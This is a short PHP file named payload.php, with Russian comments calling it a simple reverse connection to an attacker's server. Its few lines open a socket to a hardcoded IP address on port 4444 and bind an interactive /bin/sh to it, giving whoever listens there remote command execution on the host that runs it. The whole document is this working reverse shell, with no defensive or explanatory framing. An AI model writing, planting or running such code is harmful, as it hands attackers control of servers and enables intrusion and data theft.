payload.php

<?php
// Пример простого обратного соединения
$ip = '5.206.224.132'; // IP-адрес атакующего сервера
$port = 4444; // Порт для прослушивания
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>